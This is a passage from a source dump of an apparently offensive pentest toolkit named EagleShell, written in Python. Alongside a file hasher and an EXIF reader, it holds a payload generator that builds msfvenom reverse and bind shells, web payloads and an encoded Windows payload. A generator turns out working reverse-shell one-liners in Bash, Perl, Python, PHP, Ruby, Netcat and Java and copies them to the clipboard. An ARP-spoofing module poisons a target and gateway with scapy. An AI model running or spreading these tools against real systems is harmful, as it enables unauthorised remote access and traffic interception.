self.file_hashing_input() 114 | 115 | def hashing_file(self): 116 | try: 117 | buff_size = 16384 118 | self.hashed_file = b"" 119 | with open(self.hashing_file_path, "rb") as f: 120 | while True: 121 | bytes_read = f.read(buff_size) 122 | if bytes_read: 123 | self.hashed_file += bytes_read 124 | else: 125 | break 126 | except KeyboardInterrupt: 127 | Exit() 128 | 129 | def result_file(self): 130 | try: 131 | hashing_header() 132 | print('Output:') 133 | print('\n\tFile Input: ' + self.hashing_file_path + '\n') 134 | print(RED + "\tMD5:", hashlib.md5(self.hashed_file).hexdigest()) 135 | print(GREEN + "\tSHA-256:", hashlib.sha256(self.hashed_file).hexdigest()) 136 | print(YELLOW + "\tSHA-512:", hashlib.sha512(self.hashed_file).hexdigest()) 137 | print(BLUE + "\tSHA-3-256:", hashlib.sha3_256(self.hashed_file).hexdigest()) 138 | print(MAGENTA + "\tSHA-3-512:", hashlib.sha3_512(self.hashed_file).hexdigest()) 139 | print(CYAN + "\tBLAKE2c:", hashlib.blake2s(self.hashed_file).hexdigest()) 140 | print(CYAN + "\tBLAKE2b:", hashlib.blake2b(self.hashed_file).hexdigest() + WHITE) 141 | print('\n\tY): New') 142 | print('\tZ): Menu') 143 | print('\tX): Exit\n') 144 | while True: 145 | cmd = input(eagleshell_prefix).lower() 146 | if cmd == 'y': 147 | Hashing() 148 | elif cmd == 'z': 149 | Miscellaneous() 150 | elif cmd == 'x': 151 | Exit() 152 | else: 153 | print(invalid_input_prefix) 154 | continue 155 | except KeyboardInterrupt: 156 | Exit() 157 | -------------------------------------------------------------------------------- /modules/scripts/enumeration/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import enumeration_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | from assets.colors import * 7 | 8 | 9 | class Enumeration: 10 | def __init__(self): 11 | try: 12 | enumeration_header() 13 | print('Scripts:') 14 | print('\n\t1): BR4NCH - Linux PE Enumeration Script') 15 | print('\n\tZ): Back') 16 | print('\tX): Exit\n') 17 | while True: 18 | enumeration_select = input(eagleshell_prefix).lower() 19 | if enumeration_select == '1': 20 | print(YELLOW + '\n\tYou can download our PE Enum Script on our Github Page:' + RESET + BLUE + '\n\thttps://github.com/TRSTN4/BR4NCH\n' + RESET) 21 | elif enumeration_select == 'z': 22 | from ..scripts import Scripts 23 | Scripts() 24 | elif enumeration_select == 'x': 25 | Exit() 26 | else: 27 | print(invalid_input_prefix) 28 | continue 29 | except KeyboardInterrupt: 30 | Exit() 31 | -------------------------------------------------------------------------------- /modules/scripts/exploitation/exploitation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import exploitation_header 4 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 5 | from assets.shortcuts import Exit 6 | from assets.colors import * 7 | 8 | 9 | class Exploitation: 10 | def __init__(self): 11 | try: 12 | exploitation_header() 13 | print('Scripts:') 14 | print('\n\t1): RSGen - Reverse Shell Generator') 15 | print('\t2): PGen - Payload Generator ' + RED + '* REQUIRES MSFVenom *' + RESET + WHITE) 16 | print('\n\tZ): Back') 17 | print('\tX): Exit \n') 18 | while True: 19 | exploitation_select = input(eagleshell_prefix).lower() 20 | if exploitation_select == '1': 21 | from modules.scripts.exploitation.rsgen import RSGen 22 | RSGen() 23 | elif exploitation_select == '2': 24 | from modules.scripts.exploitation.pgen import PGen 25 | PGen() 26 | elif exploitation_select == 'z': 27 | from ..scripts import Scripts 28 | Scripts() 29 | elif exploitation_select == 'x': 30 | Exit() 31 | else: 32 | print(invalid_input_prefix) 33 | continue 34 | except KeyboardInterrupt: 35 | Exit() 36 | -------------------------------------------------------------------------------- /modules/scripts/exploitation/pgen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import pgen_header 4 | from assets.colors import * 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix, shell_prefix, os_prefix, payload_prefix, lhost_prefix, lport_prefix, rhost_prefix, name_prefix, output_prefix 6 | from assets.shortcuts import Exit 7 | from .exploitation import Exploitation 8 | import os 9 | 10 | 11 | class PGen: 12 | def __init__(self): 13 | self.lhost_set = '' 14 | self.rhost_set = '' 15 | self.lport_set = '' 16 | self.output_set = '' 17 | self.name_set = '' 18 | self.name_output() 19 | 20 | def name_output(self): 21 | try: 22 | pgen_header() 23 | print('Name and Output:') 24 | print('\n\t Paste Your Name and Output Folder') 25 | print('\n\t Example Name: MyShell') 26 | print('\t Example Output: /tmp/shells/') 27 | print('\n\tZ): Back') 28 | print('\tX): Exit\n') 29 | while True: 30 | self.name_set = input(name_prefix) 31 | if self.name_set == 'z' or self.name_set == 'Z': 32 | Exploitation() 33 | elif self.name_set == 'x' or self.name_set == 'X': 34 | Exit() 35 | self.output_set = input(output_prefix) 36 | if self.output_set == 'z' or self.output_set == 'Z': 37 | Exploitation() 38 | elif self.output_set == 'x' or self.output_set == 'X': 39 | Exit() 40 | self.payloads() 41 | except KeyboardInterrupt: 42 | Exit() 43 | 44 | def payloads(self): 45 | try: 46 | pgen_header() 47 | print('Payloads:') 48 | print('\n\t1): Binaries Payloads') 49 | print('\t2): Web Payloads') 50 | print('\t3): Scripting Payloads') 51 | print('\n\tZ): Back') 52 | print('\tX): Exit\n') 53 | while True: 54 | linux_shells_select = input(shell_prefix).lower() 55 | if linux_shells_select == '1': 56 | self.os_binaries_payloads() 57 | elif linux_shells_select == '2': 58 | self.web_payloads() 59 | elif linux_shells_select == '3': 60 | self.scripting_payloads() 61 | elif linux_shells_select == 'z': 62 | Exploitation() 63 | elif linux_shells_select == 'x': 64 | Exit() 65 | else: 66 | print(invalid_input_prefix) 67 | continue 68 | except KeyboardInterrupt: 69 | Exit() 70 | 71 | def os_binaries_payloads(self): 72 | try: 73 | pgen_header() 74 | print('OS:') 75 | print('\n\t1): Linux') 76 | print('\t2): Windows') 77 | print('\t3): Mac') 78 | print('\n\tZ): Back') 79 | print('\tX): Exit\n') 80 | while True: 81 | binaries_payloads_os_select = input(os_prefix).lower() 82 | if binaries_payloads_os_select == '1': 83 | self.linux_binaries_payloads() 84 | elif binaries_payloads_os_select == '2': 85 | self.windows_binaries_payloads() 86 | elif binaries_payloads_os_select == '3': 87 | self.mac_binaries_payloads() 88 | elif binaries_payloads_os_select == 'z': 89 | Exploitation() 90 | elif binaries_payloads_os_select == 'x': 91 | Exit() 92 | else: 93 | print(invalid_input_prefix) 94 | continue 95 | except KeyboardInterrupt: 96 | Exit() 97 | 98 | def linux_binaries_payloads(self): 99 | try: 100 | pgen_header() 101 | print('Payloads:') 102 | print('\n\tBinaries Payloads') 103 | print('\t----------------------------') 104 | print('\t1): Linux Meterpreter Reverse Shell') 105 | print('\t2): Linux Bind Meterpreter Shell') 106 | print('\t3): Linux Bind Shell') 107 | print('\n\tZ): Back') 108 | print('\tX): Exit\n') 109 | while True: 110 | linux_payloads_binaries_select = input(payload_prefix).lower() 111 | if linux_payloads_binaries_select == '1': 112 | self.lhost_set = input(lhost_prefix).lower() 113 | self.lport_set = input(lport_prefix).lower() 114 | self.payload = 'Linux Meterpreter Reverse Shell' 115 | self.cmd = 'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f elf -o ' + self.output_set + '/' + self.name_set + '.elf' 116 | self.generatate() 117 | elif linux_payloads_binaries_select == '2': 118 | self.rhost_set = input(rhost_prefix).lower() 119 | self.lport_set = input(lport_prefix).lower() 120 | self.payload = 'Linux Bind Meterpreter Shell' 121 | self.cmd = 'msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=' + self.rhost_set + ' LPORT=' + self.lport_set + ' -f elf -o ' + self.output_set + '/' + self.name_set + '.elf' 122 | self.generatate() 123 | elif linux_payloads_binaries_select == '3': 124 | self.rhost_set = input(rhost_prefix).lower() 125 | self.lport_set = input(lport_prefix).lower() 126 | self.payload = 'Linux Bind Shell' 127 | self.cmd = 'msfvenom -p generic/shell_bind_tcp RHOST=' + self.rhost_set + ' LPORT=' + self.lport_set + ' -f elf -o ' + self.output_set + '/' + self.name_set + '.elf' 128 | self.generatate() 129 | elif linux_payloads_binaries_select == 'z': 130 | Exploitation() 131 | elif linux_payloads_binaries_select == 'x': 132 | Exit() 133 | else: 134 | print(invalid_input_prefix) 135 | continue 136 | except KeyboardInterrupt: 137 | Exit() 138 | 139 | def windows_binaries_payloads(self): 140 | try: 141 | pgen_header() 142 | print('Payloads:') 143 | print('\n\tBinaries Payloads') 144 | print('\t----------------------------') 145 | print('\t1): Windows Meterpreter Reverse TCP Shell') 146 | print('\t2): Windows Reverse TCP Shell') 147 | print('\t3): Windows Encoded Meterpreter Windows Reverse Shell') 148 | print('\n\tZ): Back') 149 | print('\tX): Exit\n') 150 | while True: 151 | windows_payloads_binaries_select = input(payload_prefix).lower() 152 | if windows_payloads_binaries_select == '1': 153 | self.lhost_set = input(lhost_prefix).lower() 154 | self.lport_set = input(lport_prefix).lower() 155 | self.payload = 'Windows Meterpreter Reverse TCP Shell' 156 | self.cmd = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f exe -o ' + self.output_set + '/' + self.name_set + '.exe' 157 | self.generatate() 158 | elif windows_payloads_binaries_select == '2': 159 | self.lhost_set = input(lhost_prefix).lower() 160 | self.lport_set = input(lport_prefix).lower() 161 | self.payload = 'Windows Reverse TCP Shell' 162 | self.cmd = 'msfvenom -p windows/shell/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f exe -o ' + self.output_set + '/' + self.name_set + '.exe' 163 | self.generatate() 164 | elif windows_payloads_binaries_select == '3': 165 | self.payload = 'Windows Encoded Meterpreter Windows Reverse Shell' 166 | self.cmd = 'msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe -o ' + self.output_set + '/' + self.name_set + '.exe' 167 | self.generatate() 168 | elif windows_payloads_binaries_select == 'z': 169 | Exploitation() 170 | elif windows_payloads_binaries_select == 'x': 171 | Exit() 172 | else: 173 | print(invalid_input_prefix) 174 | continue 175 | except KeyboardInterrupt: 176 | Exit() 177 | 178 | def mac_binaries_payloads(self): 179 | try: 180 | pgen_header() 181 | print('Payloads:') 182 | print('\n\tBinaries Payloads') 183 | print('\t----------------------------') 184 | print('\t1): Mac Reverse Shell') 185 | print('\t2): Mac Bind Shell') 186 | print('\n\tZ): Back') 187 | print('\tX): Exit\n') 188 | while True: 189 | mac_payloads_binaries_select = input(payload_prefix).lower() 190 | if mac_payloads_binaries_select == '1': 191 | self.lhost_set = input(lhost_prefix).lower() 192 | self.lport_set = input(lport_prefix).lower() 193 | self.payload = 'Mac Reverse Shell' 194 | self.cmd = 'msfvenom -p osx/x86/shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f macho -o ' + self.output_set + '/' + self.name_set + '.macho' 195 | self.generatate() 196 | elif mac_payloads_binaries_select == '2': 197 | self.lhost_set = input(lhost_prefix).lower() 198 | self.lport_set = input(lport_prefix).lower() 199 | self.payload = 'Mac Bind Shell' 200 | self.cmd = 'msfvenom -p osx/x86/shell_bind_tcp RHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f macho -o ' + self.output_set + '/' + self.name_set + '.macho' 201 | self.generatate() 202 | elif mac_payloads_binaries_select == 'z': 203 | Exploitation() 204 | elif mac_payloads_binaries_select == 'x': 205 | Exit() 206 | else: 207 | print(invalid_input_prefix) 208 | continue 209 | except KeyboardInterrupt: 210 | Exit() 211 | 212 | def web_payloads(self): 213 | try: 214 | pgen_header() 215 | print('Payloads:') 216 | print('\n\tWeb Payloads') 217 | print('\t----------------------------') 218 | print('\t1): PHP Meterpreter Reverse TCP') 219 | print('\t2): ASP Meterpreter Reverse TCP') 220 | print('\t3): JSP Java Meterpreter Reverse TCP') 221 | print('\t4): WAR') 222 | print('\n\tZ): Back') 223 | print('\tX): Exit\n') 224 | while True: 225 | web_payloads_select = input(payload_prefix).lower() 226 | if web_payloads_select == '1': 227 | self.lhost_set = input(lhost_prefix).lower() 228 | self.lport_set = input(lport_prefix).lower() 229 | self.payload = 'PHP Meterpreter Reverse TCP' 230 | self.cmd = 'msfvenom -p php/meterpreter_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.php' 231 | self.generatate() 232 | elif web_payloads_select == '2': 233 | self.lhost_set = input(lhost_prefix).lower() 234 | self.lport_set = input(lport_prefix).lower() 235 | self.payload = 'ASP Meterpreter Reverse TCP' 236 | self.cmd = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f asp -o ' + self.output_set + '/' + self.name_set + '.asp' 237 | self.generatate() 238 | elif web_payloads_select == '3': 239 | self.lhost_set = input(lhost_prefix).lower() 240 | self.lport_set = input(lport_prefix).lower() 241 | self.payload = 'JSP Java Meterpreter Reverse TCP' 242 | self.cmd = 'msfvenom -p java/jsp_shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.jsp' 243 | self.generatate() 244 | elif web_payloads_select == '4': 245 | self.lhost_set = input(lhost_prefix).lower() 246 | self.lport_set = input(lport_prefix).lower() 247 | self.payload = 'WAR' 248 | self.cmd = 'msfvenom -p java/jsp_shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f war -o ' + self.output_set + '/' + self.name_set + '.war' 249 | self.generatate() 250 | elif web_payloads_select == 'z': 251 | Exploitation() 252 | elif web_payloads_select == 'x': 253 | Exit() 254 | else: 255 | print(invalid_input_prefix) 256 | continue 257 | except KeyboardInterrupt: 258 | Exit() 259 | 260 | def scripting_payloads(self): 261 | try: 262 | pgen_header() 263 | print('Payloads:') 264 | print('\n\tScripting Payloads') 265 | print('\t----------------------------') 266 | print('\t1): Python Reverse Shell') 267 | print('\t2): Bash Unix Reverse Shell') 268 | print('\t3): Perl Unix Reverse shell') 269 | print('\n\tZ): Back') 270 | print('\tX): Exit\n') 271 | while True: 272 | scripting_payloads_select = input(payload_prefix).lower() 273 | if scripting_payloads_select == '1': 274 | self.lhost_set = input(lhost_prefix).lower() 275 | self.lport_set = input(lport_prefix).lower() 276 | self.payload = 'Python Reverse Shell' 277 | self.cmd = 'msfvenom -p self.cmd/unix/reverse_python LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.py' 278 | self.generatate() 279 | elif scripting_payloads_select == '2': 280 | self.lhost_set = input(lhost_prefix).lower() 281 | self.lport_set = input(lport_prefix).lower() 282 | self.payload = 'Bash Unix Reverse Shell' 283 | self.cmd = 'msfvenom -p self.cmd/unix/reverse_bash LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.sh' 284 | self.generatate() 285 | elif scripting_payloads_select == '3': 286 | self.payload = 'Perl Unix Reverse shell' 287 | self.cmd = 'msfvenom -p self.cmd/unix/reverse_perl LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.pl' 288 | self.generatate() 289 | elif scripting_payloads_select == 'z': 290 | Exploitation() 291 | elif scripting_payloads_select == 'x': 292 | Exit() 293 | else: 294 | print(invalid_input_prefix) 295 | continue 296 | except KeyboardInterrupt: 297 | Exit() 298 | 299 | def generatate(self): 300 | print(GREEN + '\n[+] Generating Payload. Please Wait...' + WHITE) 301 | os.system(self.cmd + '>/dev/null 2>&1') 302 | self.result() 303 | 304 | def result(self): 305 | try: 306 | pgen_header() 307 | print('Output:') 308 | print('\n\tPAYLOAD: ' + GREEN + self.payload + WHITE) 309 | if len(self.lhost_set) >= 1: 310 | print('\tLHOST: ' + GREEN + self.lhost_set + WHITE) 311 | elif len(self.rhost_set) >= 1: 312 | print('\tRHOST: ' + GREEN + self.rhost_set + WHITE) 313 | else: 314 | pass 315 | if len(self.lport_set) >= 1: 316 | print('\tLPORT: ' + GREEN + self.lport_set + WHITE) 317 | else: 318 | pass 319 | print('\n\tOUTPUT: ' + GREEN + self.output_set + '/' + self.name_set + WHITE) 320 | print('\n\tY): New') 321 | print('\tZ): Menu') 322 | print('\tX): Exit\n') 323 | while True: 324 | self.cmd = input(eagleshell_prefix).lower() 325 | if self.cmd == 'y': 326 | PGen() 327 | elif self.cmd == 'z': 328 | Exploitation() 329 | elif self.cmd == 'x': 330 | Exit() 331 | else: 332 | print(invalid_input_prefix) 333 | continue 334 | except KeyboardInterrupt: 335 | Exit() 336 | -------------------------------------------------------------------------------- /modules/scripts/exploitation/rsgen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import rsgen_header 4 | from assets.colors import * 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix, payload_prefix, system_prefix, lhost_prefix, lport_prefix 6 | from assets.shortcuts import Exit 7 | from .exploitation import Exploitation 8 | import netifaces 9 | import pyperclip 10 | 11 | 12 | class RSGen: 13 | def __init__(self): 14 | self.output = '' 15 | self.output2 = '' 16 | self.configuration() 17 | self.system() 18 | self.payload() 19 | self.result() 20 | 21 | def configuration(self): 22 | try: 23 | rsgen_header() 24 | print('Configuration:') 25 | self.ips() 26 | print('\n\tLHOST Example: 192.168.1.123') 27 | print('\tLPORT Example: 8080') 28 | print('\n\tZ): Back') 29 | print('\tX): Exit\n') 30 | self.lhost_set = input(lhost_prefix).lower() 31 | if self.lhost_set == 'z': 32 | Exploitation() 33 | elif self.lhost_set == 'x': 34 | Exit() 35 | self.lport_set = input(lport_prefix).lower() 36 | if self.lport_set == 'z': 37 | Exploitation() 38 | elif self.lport_set == 'x': 39 | Exit() 40 | except KeyboardInterrupt: 41 | Exit() 42 | 43 | def ips(self): 44 | x = netifaces.interfaces() 45 | for i in x: 46 | if i != '': 47 | print('\n\tInterface: ' + i) 48 | try: 49 | ip = netifaces.ifaddresses(i)[netifaces.AF_INET][0]['addr'] 50 | print('\tIP addr: {0} '.format(ip)) 51 | except KeyError: 52 | continue 53 | 54 | def system(self): 55 | try: 56 | rsgen_header() 57 | print('System:') 58 | print('\n\t1): Linux') 59 | print('\t2): Windows') 60 | print('\n\tZ): Back') 61 | print('\tX): Exit\n') 62 | while True: 63 | system_select = input(system_prefix).lower() 64 | if system_select == '1': 65 | self.system_set = '/bin/sh -i' 66 | break 67 | elif system_select == '2': 68 | self.system_set = 'cmd.exe' 69 | break 70 | elif system_select == 'z': 71 | Exploitation() 72 | elif system_select == 'x': 73 | Exit() 74 | else: 75 | print(invalid_input_prefix) 76 | continue 77 | except KeyboardInterrupt: 78 | Exit() 79 | 80 | def payload(self): 81 | try: 82 | rsgen_header() 83 | print('Payload:') 84 | print('\n\t1): Bash') 85 | print('\t2): Perl') 86 | print('\t3): Python') 87 | print('\t4): PHP') 88 | print('\t5): Ruby') 89 | print('\t6): Netcat') 90 | print('\t7): Java') 91 | print('\n\tZ): Back') 92 | print('\tX): Exit\n') 93 | while True: 94 | shell_select = input(payload_prefix).lower() 95 | if shell_select == '1': 96 | self.shell_set = 'Bash' 97 | self.output = self.system_set + ' >& /dev/tcp/' + self.lhost_set + '/' + self.lport_set + ' 0>&1' 98 | break 99 | elif shell_select == '2': 100 | self.shell_set = 'Perl' 101 | self.output = "perl -e 'use Socket;$i="'"' + self.lhost_set + '"'";$p=" + self.lport_set + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname("'"tcp"'"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"'">&S"'");open(STDOUT,"'">&S"'");open(STDERR,"'">&S"'");exec("'"' + self.system_set + '"'");};'" 102 | break 103 | elif shell_select == '3': 104 | self.shell_set = 'Python' 105 | self.output = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'"' + self.lhost_set + '"'"," + self.lport_set + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["'"' + self.system_set + '"'"]);'" 106 | break 107 | elif shell_select == '4': 108 | self.shell_set = 'PHP' 109 | self.output = "php -r '$sock=fsockopen("'"' + self.lhost_set + '"'',' + self.lport_set + ');exec("' + self.system_set + ' <&3 >&3 2>&3");'"'" 110 | break 111 | elif shell_select == '5': 112 | self.shell_set = 'Ruby' 113 | self.output = "ruby -rsocket -e'f=TCPSocket.open("'"' + self.lhost_set + '"'',' + self.lport_set + ').to_i;exec sprintf("' + self.system_set + ' <&%d >&%d 2>&%d",f,f,f)'"'" 114 | break 115 | elif shell_select == '6': 116 | self.shell_set = 'Netcat' 117 | self.output = 'nc -e ' + self.system_set + ' ' + self.lhost_set + ' ' + self.lport_set 118 | self.output2 = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|' + self.system_set + ' 2>&1|nc ' + self.lhost_set + ' ' + self.lport_set + ' >/tmp/f' 119 | break 120 | elif shell_select == '7': 121 | self.shell_set = 'Java' 122 | part1 = 'r = Runtime.getRuntime()' 123 | part2 = '\np = r.exec(["' + self.system_set + '","-c","exec 5<>/dev/tcp/' + self.lhost_set + '/' + self.lport_set + ';cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])' 124 | part3 = '\np.waitFor()' 125 | self.output = part1 + part2 + part3 126 | break 127 | elif shell_select == 'z': 128 | Exploitation() 129 | elif shell_select == 'x': 130 | Exit() 131 | else: 132 | print(invalid_input_prefix) 133 | continue 134 | except KeyboardInterrupt: 135 | Exit() 136 | 137 | def result(self): 138 | try: 139 | rsgen_header() 140 | print('Output:') 141 | print('\n\tPAYLOAD: ' + GREEN + self.shell_set + WHITE) 142 | print('\tLHOST: ' + GREEN + self.lhost_set + WHITE) 143 | print('\tLPORT: ' + GREEN + self.lport_set + WHITE) 144 | print('\n\tOUTPUT: ' + GREEN + self.output + WHITE) 145 | pyperclip.copy(self.output) 146 | if len(self.output2) > 1: 147 | print('\tOUTPUT 2: ' + GREEN + self.output2 + WHITE) 148 | print(GREEN + '\n\t[+] Output 1 Copied to Clipboard' + WHITE) 149 | else: 150 | print(GREEN + '\n\t[+] Output Copied to Clipboard' + WHITE) 151 | print('\n\tY): New') 152 | print('\tZ): Menu') 153 | print('\tX): Exit\n') 154 | while True: 155 | cmd = input(eagleshell_prefix).lower() 156 | if cmd == 'y': 157 | RSGen() 158 | elif cmd == 'z': 159 | Exploitation() 160 | elif cmd == 'x': 161 | Exit() 162 | else: 163 | print(invalid_input_prefix) 164 | continue 165 | except KeyboardInterrupt: 166 | Exit() 167 | -------------------------------------------------------------------------------- /modules/scripts/miscellaneous/exif.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.banners import exif_banner 4 | from assets.colors import * 5 | from assets.designs import logo, author 6 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix, image_prefix, unknown_file_prefix 7 | from assets.properties import clear_screen 8 | from assets.shortcuts import Exit 9 | from .miscellaneous import Miscellaneous 10 | import os 11 | from PIL import Image 12 | from PIL.ExifTags import TAGS 13 | 14 | 15 | class Exif: 16 | def __init__(self): 17 | self.configuration() 18 | self.extractor() 19 | self.result() 20 | 21 | def header(self): 22 | os.system(clear_screen) 23 | print(logo) 24 | print(exif_banner) 25 | print(author) 26 | 27 | def configuration(self): 28 | try: 29 | self.header() 30 | print('Configuration:') 31 | print('\n\tINFO:') 32 | print('\t-----') 33 | print('\tSupported Extensions:') 34 | print('\t".jpg", ".jpeg"') 35 | print('\n\tInput:') 36 | print('\t------') 37 | print('\tInput Path To Image Location') 38 | print('\tExample: /tmp/images/puppy.jpg') 39 | print('\n\tZ): Back') 40 | print('\tX): Exit\n') 41 | self.image_set = input(image_prefix) 42 | if self.image_set == 'z' or self.image_set == 'Z': 43 | Miscellaneous() 44 | elif self.image_set == 'x' or self.image_set == 'X': 45 | Exit() 46 | except KeyboardInterrupt: 47 | Exit() 48 | 49 | def extractor(self): 50 | try: 51 | imagename = self.image_set 52 | image = Image.open(imagename) 53 | exifdata = image.getexif() 54 | except: 55 | print(unknown_file_prefix) 56 | os.system('sleep 2') 57 | Exif() 58 | try: 59 | self.header() 60 | print('Result:\n') 61 | print('\tFile: ' + self.image_set + '\n') 62 | for tag_id in exifdata: 63 | tag = TAGS.get(tag_id, tag_id) 64 | data = exifdata.get(tag_id) 65 | if isinstance(data, bytes): 66 | data = data.decode() 67 | print(f"\t{tag:25}: {data}") 68 | except: 69 | pass 70 | 71 | def result(self): 72 | try: 73 | print('\n\tY): New') 74 | print('\tZ): Menu') 75 | print('\tX): Exit\n') 76 | while True: 77 | cmd = input(eagleshell_prefix).lower() 78 | if cmd == 'y': 79 | Exif() 80 | elif cmd == 'z': 81 | Miscellaneous() 82 | elif cmd == 'x': 83 | Exit() 84 | else: 85 | print(invalid_input_prefix) 86 | continue 87 | except KeyboardInterrupt: 88 | Exit() 89 | -------------------------------------------------------------------------------- /modules/scripts/miscellaneous/miscellaneous.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import miscellaneous_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | 7 | 8 | class Miscellaneous: 9 | def __init__(self): 10 | try: 11 | miscellaneous_header() 12 | print('Scripts:') 13 | print('\t1): EXIF - Image Metadata Extractor') 14 | print('\n\tZ): Back') 15 | print('\tX): Exit\n') 16 | while True: 17 | miscellaneous_select = input(eagleshell_prefix).lower() 18 | if miscellaneous_select == '1': 19 | from modules.scripts.miscellaneous.exif import Exif 20 | Exif() 21 | elif miscellaneous_select == 'z': 22 | from ..scripts import Scripts 23 | Scripts() 24 | elif miscellaneous_select == 'x': 25 | Exit() 26 | else: 27 | print(invalid_input_prefix) 28 | continue 29 | except KeyboardInterrupt: 30 | Exit() 31 | -------------------------------------------------------------------------------- /modules/scripts/network/arpspoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import arpspoof_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, rhost_prefix, gateway_prefix 6 | from assets.shortcuts import Exit 7 | from .network import Network 8 | import scapy.all as scapy 9 | import time 10 | import sys 11 | 12 | 13 | class ARPSpoof: 14 | def __init__(self): 15 | self.sent_packets_count = 0 16 | self.configuration() 17 | self.process() 18 | 19 | def configuration(self): 20 | try: 21 | arpspoof_header() 22 | print('Configuration:') 23 | print('\n\tRHOST = Target IP') 24 | print('\tExample: 192.168.1.133') 25 | print('\n\tGATEWAY = Router IP') 26 | print('\tExample: 192.168.1.2') 27 | print('\n\tZ): Back') 28 | print('\tX): Exit\n') 29 | self.rhost_set = input(rhost_prefix).lower() 30 | if self.rhost_set == 'z': 31 | Network() 32 | elif self.rhost_set == 'x': 33 | Exit() 34 | self.gateway_set = input(gateway_prefix).lower() 35 | if self.gateway_set == 'z': 36 | Network() 37 | elif self.gateway_set == 'x': 38 | Exit() 39 | except KeyboardInterrupt: 40 | Exit() 41 | 42 | def process(self): 43 | try: 44 | while True: 45 | self.spoof(self.rhost_set, self.gateway_set) 46 | self.spoof(self.gateway_set, self.rhost_set) 47 | self.sent_packets_count = self.sent_packets_count + 2 48 | sys.stdout.flush() 49 | time.sleep(2) 50 | arpspoof_header() 51 | print('Process:') 52 | print('\n\tStatus') 53 | print('\t------') 54 | print('\tPACKETS SENT: ' + str(self.sent_packets_count)) 55 | print('\n\tStop: CTRL+C\n') 56 | except KeyboardInterrupt: 57 | print(GREEN + '\n[+] Resetting ARP Tables') 58 | self.restore(self.rhost_set, self.gateway_set) 59 | self.restore(self.gateway_set, self.rhost_set) 60 | self.result() 61 | 62 | def spoof(self, target_ip, spoof_ip): 63 | try: 64 | target_mac = self.get_mac(target_ip) 65 | packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) 66 | scapy.send(packet, verbose=False) 67 | except KeyboardInterrupt: 68 | print(GREEN + '\n[+] Resetting ARP Tables') 69 | self.restore(self.rhost_set, self.gateway_set) 70 | self.restore(self.gateway_set, self.rhost_set) 71 | self.result() 72 | 73 | def get_mac(self, ip): 74 | arp_request = scapy.ARP(pdst=ip) 75 | broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") 76 | arp_request_broadcast = broadcast/arp_request 77 | answered = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] 78 | return answered[0][1].hwsrc 79 | 80 | def restore(self, destination_ip, source_ip): 81 | destination_mac = self.get_mac(destination_ip) 82 | source_mac = self.get_mac(source_ip) 83 | packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac) 84 | scapy.send(packet, count=4, verbose=False) 85 | 86 | def result(self): 87 | try: 88 | arpspoof_header() 89 | print('Result:') 90 | print('\n\tRHOST: ' + GREEN + self.rhost_set + WHITE) 91 | print('\tGATEWAY: ' + GREEN + self.gateway_set + WHITE) 92 | print('\n\tPACKETS SENT: ' + GREEN + str(self.sent_packets_count) + WHITE) 93 | print('\n\tY): New') 94 | print('\tZ): Menu') 95 | print('\tX): Exit\n') 96 | while True: 97 | cmd = input(eagleshell_prefix).lower() 98 | if cmd == 'y': 99 | ARPSpoof() 100 | elif cmd == 'z': 101 | Network() 102 | elif cmd == 'x': 103 | Exit() 104 | else: 105 | print(invalid_input_prefix) 106 | continue 107 | except KeyboardInterrupt: 108 | Exit() 109 | -------------------------------------------------------------------------------- /modules/scripts/network/dnspoof.py: 